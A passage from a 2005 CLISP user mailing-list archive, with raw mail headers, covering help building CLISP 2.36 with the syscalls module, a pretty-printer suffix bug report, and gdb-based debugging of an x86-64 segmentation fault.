the last digit (8 vs 0) is due to the "object" vs "symbol_" shift, but the _first_ digit is totally off. if you walk through the horrible maze of pgci_types_pointable -> ngci_pointable (DEBUG_GCSAFETY) vs types_pointable (normal) -> type_pointable -> pointable -> ... you might be able to discover where on of the foo_shift is used incorrectly. I am rather lost. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.memri.org/ http://www.savegushkatif.org http://www.mideasttruth.com/ http://truepeace.org http://www.openvotingconsortium.org/ http://www.camera.org I don't have an attitude problem. You have a perception problem. From lisp-clisp-list@m.gmane.org Fri Dec 16 08:27:45 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EnIQr-0005b6-1L for clisp-list@lists.sourceforge.net; Fri, 16 Dec 2005 08:27:45 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EnIQo-0004SS-R0 for clisp-list@lists.sourceforge.net; Fri, 16 Dec 2005 08:27:45 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EnILI-0001KT-Fz for clisp-list@lists.sourceforge.net; Fri, 16 Dec 2005 17:22:00 +0100 Received: from 195.201.73.36 ([195.201.73.36]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 16 Dec 2005 17:22:00 +0100 Received: from sorokin by 195.201.73.36 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 16 Dec 2005 17:22:00 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Ru Lines: 88 Message-ID: References: <7728A878-43EF-11D9-A326-000A95930016@cs.utexas.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 195.201.73.36 (Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050517 Firefox/1.0.4 (Debian package 1.0.4-2)) X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: [clisp-list] Re: help with compiling Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 16 08:28:03 2005 X-Original-Date: Fri, 16 Dec 2005 16:14:12 +0000 (UTC) Sam Steingold gnu.org> writes: > > > 2. type "make" again - it should work. if it does not, type "touch > clisp.dvi" and then "make". you will not have the DVI version of the > manual, but you probably do not need it anyway (you have the standard > "man" and html versions anyway) > Hello, Sam! Thank you! I managed to move further, but again encounter with an error: ... config.status: creating config.h config.status: executing default-1 commands configure: * Regexp (Done) CLISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc" ; cd regexp ; dots=`echo regexp/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; make clisp-module CC="gcc" CPPFLAGS="" CFLAGS="-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -I." INCLUDES="$dots" CLFLAGS="-x none" LIBS="libcharset.a libavcall.a libcallback.a -ldl -lsigsegv" RANLIB="ranlib" CLISP="$CLISP -q" make[1]: Entering directory `/home/ru/clisp-2.36/build-with-syscalls/regexp' /home/ru/clisp-2.36/build-with-syscalls/lisp.run -M /home/ru/clisp-2.36/build-with-syscalls/lispinit.mem -B /home/ru/clisp-2.36/build-with-syscalls -N /home/ru/clisp-2.36/build-with-syscalls/locale -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc -q -c regexp.lisp ;; Compiling file /home/ru/clisp-2.36/build-with-syscalls/regexp/regexp.lisp ... ;; Wrote file /home/ru/clisp-2.36/build-with-syscalls/regexp/regexp.fas п║п╩п╣п╢Ñâ”Ñâ–ŒÑ┴п╦п╣ Ñâ””Ñâ”п╫п╨Ñ├п╦п╦ п╦Ñ│п©п╬п╩Ñ▄п╥п╬п╡п╟п╩п╦Ñ│Ñâ–„, п╫п╬ п╫п╣ п╠Ñ▀п╩п╦ п╬п©Ñ─п╣п╢п╣п╩п╣п╫Ñâ–€: REGEXP:REGEXP-COMPILE REGEXP:REGEXP-EXEC 0 п╬Ñ┬п╦п╠п╬п╨, 0 п©Ñ─п╣п╢Ñâ”п©Ñ─п╣п╤п╢п╣п╫п╦п╧ /home/ru/clisp-2.36/build-with-syscalls/lisp.run -M /home/ru/clisp-2.36/build-with-syscalls/lispinit.mem -B /home/ru/clisp-2.36/build-with-syscalls -N /home/ru/clisp-2.36/build-with-syscalls/locale -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc -q ../modprep.fas regexi.c ;; MODPREP: "regexi.c" --> #P"regexi.m.c" ;; MODPREP: reading "regexi.c": 4,271 bytes, 124 lines ;; MODPREP: 13 objects, 3 DEFUNs ;; packages: ("REGEXP") MODPREP: wrote regexi.m.c (8,865 bytes) gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -I. -I.. -c regexi.m.c -o regexi.o cp alloca_.h alloca.h-t mv alloca.h-t alloca.h gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -I. -I. -I.. -DHAVE_CONFIG_H -c regex.c make[1]: Leaving directory `/home/ru/clisp-2.36/build-with-syscalls/regexp' ../src/lndir ../modules/syscall syscall ../src/lndir: source does not exist: ../modules/syscall make: *** [syscall] Ошибка 1 ru@srp-lnx:~/clisp-2.36/build-with-syscalls$ lisp.run -M lispinit.mem bash: lisp.run: command not found ru@srp-lnx:~/clisp-2.36/build-with-syscalls$ ./lisp.run -M lispinit.mem i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2005 [1]> (find-package "POSIX") NIL [2]> Can you help me once more. Thanx in advance. Sincerely, Ru From sds@gnu.org Fri Dec 16 08:48:35 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EnIkz-0006ya-DK for clisp-list@lists.sourceforge.net; Fri, 16 Dec 2005 08:48:33 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EnIkw-0000hc-P4 for clisp-list@lists.sourceforge.net; Fri, 16 Dec 2005 08:48:33 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.93]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jBGGm470011672; Fri, 16 Dec 2005 11:48:05 -0500 (EST) To: clisp-list@lists.sourceforge.net, Ru Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Ru's message of "Fri, 16 Dec 2005 16:14:12 +0000 (UTC)") User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) References: <7728A878-43EF-11D9-A326-000A95930016@cs.utexas.edu> Mail-Followup-To: clisp-list@lists.sourceforge.net, Ru Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: base64 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: help with compiling Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 16 08:49:08 2005 X-Original-Date: Fri, 16 Dec 2005 11:47:01 -0500 PiAqIFJ1IDxmYmVieHZhQGJidHZmLmVoPiBbMjAwNS0xMi0xNiAxNjoxNDoxMiArMDAwMF06DQo+ DQo+IDs7IENvbXBpbGluZyBmaWxlIC9ob21lL3J1L2NsaXNwLTIuMzYvYnVpbGQtd2l0aC1zeXNj YWxscy9yZWdleHAvcmVnZXhwLmxpc3AgDQo+IC4uLg0KPiA7OyBXcm90ZSBmaWxlIC9ob21lL3J1 L2NsaXNwLTIuMzYvYnVpbGQtd2l0aC1zeXNjYWxscy9yZWdleHAvcmVnZXhwLmZhcw0KPiDQv+KV kdC/4pWp0L/ilaPQv+KVotGP4pSQ0Y/ilozRj+KUtNC/4pWm0L/ilaMg0Y/ilJTRj+KUkNC/4pWr 0L/ilajRj+KUnNC/4pWm0L/ilaYg0L/ilabRj+KUgtC/wqnQv+KVrNC/4pWp0Y/iloTQv+KVpdC/ 4pWs0L/ilaHQv+KVn9C/4pWp0L/ilabRj+KUgtGP4paELCANCj4g0L/ilavQv+KVrCDQv+KVq9C/ 4pWjINC/4pWg0Y/iloDQv+KVqdC/4pWmINC/4pWs0L/CqdGP4pSA0L/ilaPQv+KVotC/4pWj0L/i lanQv+KVo9C/4pWr0Y/iloA6DQo+ICBSRUdFWFA6UkVHRVhQLUNPTVBJTEUgUkVHRVhQOlJFR0VY UC1FWEVDDQo+IDAg0L/ilazRj+KUrNC/4pWm0L/ilaDQv+KVrNC/4pWoLCAwINC/wqnRj+KUgNC/ 4pWj0L/ilaLRj+KUkNC/wqnRj+KUgNC/4pWj0L/ilaTQv+KVotC/4pWj0L/ilavQv+KVptC/4pWn DQoNCkkgY2Fubm90IHJlYWQgdGhpcywgc29ycnkuDQp5b3UgYXJlIHByb2JhYmx5IHVzaW5nIEN5 cmlsbGljIGFuZCB0aGUgZW5jb2RpbmcgZ290IHNjcmV3ZWQgdXAuDQp5b3UgbWlnaHQgd2FudCB0 byBzZXQgdGhlIGVudmlyb25tZW50IHZhcmlhYmxlIExDX0FMTD1DIGJlZm9yZQ0KYnVpbGRpbmcg Q0xJU1AuDQoNCj4gLi4vc3JjL2xuZGlyIC4uL21vZHVsZXMvc3lzY2FsbCBzeXNjYWxsDQo+IC4u L3NyYy9sbmRpcjogc291cmNlIGRvZXMgbm90IGV4aXN0OiAuLi9tb2R1bGVzL3N5c2NhbGwNCj4g bWFrZTogKioqIFtzeXNjYWxsXSDQntGI0LjQsdC60LAgMQ0KDQpyZXBsYWNlICItLXdpdGgtbW9k dWxlPXN5c2NhbGwiIHdpdGggIi0td2l0aC1tb2R1bGU9c3lzY2FsbHMiIGluIHlvdXINCmNvbmZp Z3VyZSBjb21tYW5kLCBvciBqdXN0IGVkaXQgTWFrZWZpbGUgYW5kIHJlcGxhY2UgInN5c2NhbGwi IHdpdGgNCiJzeXNjYWxscyIgaW4gTU9EVUxFUyAoYW5kIGVsc2V3aGVyZSkuDQoNCj4gcnVAc3Jw LWxueDp+L2NsaXNwLTIuMzYvYnVpbGQtd2l0aC1zeXNjYWxscyQgLi9saXNwLnJ1biAtTSBsaXNw aW5pdC5tZW0NCj4gWzFdPiAoZmluZC1wYWNrYWdlICJQT1NJWCIpDQoNCm9mIGNvdXJzZSAtIHRo aXMgaXMgdGhlIGJvb3QgbGluayBzZXQuDQpzeXNjYWxscyB3aWxsIGJlIGluIHRoZSBiYXNlIGxp bmsgc2V0Lg0KcnVuIENMSVNQIHVzaW5nIHRoZSAiY2xpc3AiIGRyaXZlciBjb21tYW5kIHRoYXQg d2lsbCBydW4gdGhlIGFwcHJvcHJpYXRlDQpsaW5raW5nIHNldC4NCnBsZWFzZSBzZWUNCmh0dHA6 Ly9jbGlzcC5jb25zLm9yZy9pbXBub3Rlcy9jbGlzcC5odG1sI29wdC1saW5rLXNldA0KaHR0cDov L2NsaXNwLmNvbnMub3JnL2ltcG5vdGVzL21vZHVsZXMuaHRtbCNsaW5rc2V0DQooSSByZWNvbW1l bmQgdGhhdCB5b3Ugc2tpbSB0aHJvdWdoIHRoZSB0aGUgd2hvbGUgcGFnZXMsIG5vdCBqdXN0IHRo ZSBhbmNob3JzKQ0KDQotLSANClNhbSBTdGVpbmdvbGQgKGh0dHA6Ly93d3cucG9kdmFsLm9yZy9+ c2RzKSBydW5uaW5nIHcyaw0KaHR0cDovL3d3dy5tZW1yaS5vcmcvIGh0dHA6Ly93d3cuamloYWR3 YXRjaC5vcmcvIGh0dHA6Ly93d3cubWlkZWFzdHRydXRoLmNvbS8NCmh0dHA6Ly9wbXcub3JnLmls LyBodHRwOi8vdHJ1ZXBlYWNlLm9yZyBodHRwOi8vd3d3LmRoaW1taS5jb20vDQpGaWdodGluZyBm b3IgcGVhY2UgaXMgbGlrZSBzY3Jld2luZyBmb3IgdmlyZ2luaXR5Lg0K From lisp-clisp-list@m.gmane.org Sat Dec 17 06:23:34 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EncyC-0007Zl-Bd for clisp-list@lists.sourceforge.net; Sat, 17 Dec 2005 06:23:32 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Ency8-00022o-8P for clisp-list@lists.sourceforge.net; Sat, 17 Dec 2005 06:23:32 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1Encwk-0007zk-Uz for clisp-list@lists.sourceforge.net; Sat, 17 Dec 2005 15:22:03 +0100 Received: from 195.201.73.36 ([195.201.73.36]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 17 Dec 2005 15:22:02 +0100 Received: from sorokin by 195.201.73.36 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 17 Dec 2005 15:22:02 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Ru Lines: 58 Message-ID: References: <7728A878-43EF-11D9-A326-000A95930016@cs.utexas.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 195.201.73.36 (Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050517 Firefox/1.0.4 (Debian package 1.0.4-2)) X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: [clisp-list] Re: help with compiling Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 17 06:24:01 2005 X-Original-Date: Sat, 17 Dec 2005 14:21:02 +0000 (UTC) Sam Steingold gnu.org> writes: > replace "--with-module=syscall" with "--with-module=syscalls" in your > configure command, or just edit Makefile and replace "syscall" with > "syscalls" in MODULES (and elsewhere). > > > ru srp-lnx:~/clisp-2.36/build-with-syscalls$ ./lisp.run -M lispinit.mem > > [1]> (find-package "POSIX") > > of course - this is the boot link set. > syscalls will be in the base link set. > run CLISP using the "clisp" driver command that will run the appropriate > linking set. > please see > http://clisp.cons.org/impnotes/clisp.html#opt-link-set > http://clisp.cons.org/impnotes/modules.html#linkset > (I recommend that you skim through the the whole pages, not just the anchors) > Uau! I did it! ... Real time: 492.75348 sec. Run time: 88.864494 sec. Space: 801095320 Bytes GC: 1076, GC time: 24.524242 sec. 0 Bye. (echo *.erg | grep '*' >/dev/null) || (echo "Test failed:" ; ls -l *erg; echo "To see which tests failed, type" ; echo " cat "`pwd`"/*.erg" ; exit 1) echo "Test passed." Test passed. make[1]: Leaving directory `/home/ru/clisp-2.36/build-with-syscalls/tests' ru@srp-lnx:~/clisp-2.36$ ./build-with-syscalls/clisp -K full i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2005 [1]> (find-package "POSIX") # [2]> Thank you very much, Sam! You are The Great Hacker! Sincerely, Ru From lstaflin@gmail.com Sun Dec 18 08:13:14 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eo19t-0002IS-K5 for clisp-list@lists.sourceforge.net; Sun, 18 Dec 2005 08:13:13 -0800 Received: from xproxy.gmail.com ([66.249.82.197]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eo19r-0004HW-Lz for clisp-list@lists.sourceforge.net; Sun, 18 Dec 2005 08:13:13 -0800 Received: by xproxy.gmail.com with SMTP id s6so705715wxc for ; Sun, 18 Dec 2005 08:13:10 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:mime-version:content-transfer-encoding:message-id:content-type:to:from:subject:date:x-mailer:sender; b=T9uMAb9wzpE23T9qLXt3Tznndt0WQluCSW+ue6fFR0tjCLxtMBtjur7M9L9FsSBln/GVo843p/4ozLGYSIKR2xm1FVsxXfk9fJazKGTber0vd+iKRWiEg0svuFyyRCBqQH/9yYgA6dESeqkgB5ckmBqRiv7qSLxTltHej7gMzrk= Received: by 10.70.131.11 with SMTP id e11mr3426357wxd; Sun, 18 Dec 2005 08:13:10 -0800 (PST) Received: from ?82.212.74.66? ( [82.212.74.66]) by mx.gmail.com with ESMTP id h15sm8547747wxd.2005.12.18.08.13.09; Sun, 18 Dec 2005 08:13:10 -0800 (PST) Mime-Version: 1.0 (Apple Message framework v623) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Lennart Staflin X-Mailer: Apple Mail (2.623) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Strange pprint-logical-block behaviour Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 18 08:14:03 2005 X-Original-Date: Sun, 18 Dec 2005 17:12:55 +0100 CLISP 2.36 - MacOS 10.3.9 Default values for printer control variables (*print-level*, *print-depth* = nil, *print-pretty* = t) (in-package :cl-user) (defclass foo-class () ((bar :initarg :bar))) (defmethod print-object ((obj foo-class) stream) (let ((fields (list 'bar (slot-value obj 'bar)))) (pprint-logical-block (stream fields :prefix "<" :suffix ">") (write (car fields) :stream stream) (write-string " = " stream) (write (cadr fields) :stream stream)))) (defparameter *foo* (make-instance 'foo-class :bar 1)) *foo* ; => (list *foo*) ; => (>) It seems that pprint-logical-block only prints the suffix when embedded in a list. //Lennart Staflin From sds@gnu.org Sun Dec 18 12:12:42 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eo4te-0003in-Mt for clisp-list@lists.sourceforge.net; Sun, 18 Dec 2005 12:12:42 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eo4ta-0008MD-Qf for clisp-list@lists.sourceforge.net; Sun, 18 Dec 2005 12:12:42 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 18 Dec 2005 15:12:32 -0500 X-IronPort-AV: i="3.99,266,1131339600"; d="scan'208"; a="143623201:sNHT6391643378" To: clisp-list@lists.sourceforge.net, Lennart Staflin Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Lennart Staflin's message of "Sun, 18 Dec 2005 17:12:55 +0100") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Lennart Staflin Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Strange pprint-logical-block behaviour Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 18 12:13:01 2005 X-Original-Date: Sun, 18 Dec 2005 15:11:15 -0500 > * Lennart Staflin [2005-12-18 17:12:55 +0100]: > > CLISP 2.36 - MacOS 10.3.9 > > Default values for printer control variables (*print-level*, > *print-depth* = nil, *print-pretty* = t) > > > (in-package :cl-user) > > (defclass foo-class () > ((bar :initarg :bar))) > > (defmethod print-object ((obj foo-class) stream) > (let ((fields (list 'bar (slot-value obj 'bar)))) > (pprint-logical-block (stream fields > :prefix "<" :suffix ">") > (write (car fields) :stream stream) > (write-string " = " stream) > (write (cadr fields) :stream stream)))) > > (defparameter *foo* (make-instance 'foo-class :bar 1)) > > > *foo* > ; => > (list *foo*) > ; => (>) > > > It seems that pprint-logical-block only prints the suffix when > embedded in a list. alas, this is just one of the many clisp PP bugs. you can find more by looking at the CLISP bug tracker (please feel free to file more - they will be addressed, eventually), clisp/src/TODO and `grep -i risky clisp/tests/*`. would you like to work on this? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://truepeace.org http://www.dhimmi.com/ http://www.savegushkatif.org http://www.memri.org/ http://www.jihadwatch.org/ http://www.mideasttruth.com/ Two wrongs don't make a right, but three rights make a left. From werner@suse.de Mon Dec 19 06:19:13 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EoLr6-0002Q9-1o for clisp-list@lists.sourceforge.net; Mon, 19 Dec 2005 06:19:12 -0800 Received: from mail.suse.de ([195.135.220.2] helo=mx1.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EoLr3-0000mP-Bi for clisp-list@lists.sourceforge.net; Mon, 19 Dec 2005 06:19:12 -0800 Received: from Relay1.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id 9E3F8EDDF for ; Mon, 19 Dec 2005 15:19:02 +0100 (CET) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Message-ID: <20051219141900.GA10905@boole.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <20051214154951.GA18868@boole.suse.de> <20051214165708.GA14826@wotan.suse.de> <20051214181854.GA16453@wotan.suse.de> <20051215144419.GA6164@boole.suse.de> <20051215161953.GA8089@boole.suse.de> <20051216141236.GA24342@boole.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: Organization: SuSE LINUX AG User-Agent: Mutt/1.5.9i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 19 06:20:03 2005 X-Original-Date: Mon, 19 Dec 2005 15:19:00 +0100 On Fri, Dec 16, 2005 at 10:37:02AM -0500, Sam Steingold wrote: > > * Dr. Werner Fink [2005-12-16 15:12:36 +0100]: > > > > OK ... beside this, the macro defined_class_length should use size_t > > instead of ULONG type at least on 64-bit platforms. The g++ does not > > like ULONG in a comparision with gcv_object_t* pointers. > > I fixed this differently earlier this week (aint instead of size_t) > > > Also () around a structure is not that good for modern c++ compilers. > > why? > > > Beside this I had removed the `inline' from check_faddress_valid() > > to get it to link on SuSE Linux 10.0 x86_64. The g++ version is > > g++ (GCC) 4.0.2 20050901. > > OK. > > > But nevertheless the last lines are: > > > > echo '(setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")' >> config.lisp > > ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc -m 1400KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)" > > STACK depth: 22389 > > make: *** [interpreted.mem] Segmentation fault > > the problem is > if you compile with "-g", then the crash is > > Program received signal SIGSEGV, Segmentation fault. > 0x00000000004896e5 in gcv_object_t::operator object (this=0x400000091f358) > at lispbibl.d:4179 > 4179 nonimmprobe(one_o); > > that is because 0x400000091f358 is not a valid pointer. > > (gdb) up > #1 0x000000000068124e in with_gc_statistics ( > fun=0x4190f4 ) at predtype.d:3134 > 3134 var object flag = Symbol_value(S(gc_statistics_stern)); > (gdb) p &(symbol_tab_data.S_gc_statistics_stern) > $1 = (symbol_ *) 0x91f350 > > now, look at 0x91f350 > and 0x400000091f358 > > the last digit (8 vs 0) is due to the "object" vs "symbol_" shift, > but the _first_ digit is totally off. > if you walk through the horrible maze of > pgci_types_pointable -> ngci_pointable (DEBUG_GCSAFETY) > vs types_pointable (normal) -> type_pointable -> pointable -> ... > you might be able to discover where on of the foo_shift is used > incorrectly. Hmmm ... it seems to be a bit different: Program received signal SIGSEGV, Segmentation fault. 0x00000000008535b4 in with_gc_statistics (fun=0x435202 ) at lispbibl.d:4179 4179 nonimmprobe(one_o); Warning: the current language does not match this frame. (gdb) up #1 0x000000000041b267 in gar_col_simple () at spvw_garcol.d:2405 2405 with_gc_statistics(&do_gar_col_simple); # GC and statistics (gdb) p &(symbol_tab_data.S_gc_statistics_stern) $1 = (symbol_ *) 0xb52168 (gdb) and the chrash happens with this lisp code (let ((ht (make-hash-table :test 'ext:fasthash-eq))) (defstruct ht-test-struct a b c) (setq x (make-ht-test-struct :a 1 :b 2 :c ht)) (setf (gethash ht ht) ht (gethash x ht) 12) (setq x (read-from-string (with-standard-io-syntax (write-to-string x))) ht (ht-test-struct-c x)) (setf (ht-test-struct-a x) (ext:! )) (ext:gc) (list (eq (gethash ht ht) ht) (gethash x ht))) (quit) with the numbers = 17,20,21,22,23,.... In other words, the numbers 1 ... 16, 18, and 19 do work here on this x86_64 at least upto the (quit). > I am rather lost. ACK ... IMHO the clisp engine needs some changes to make the code more handy. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From 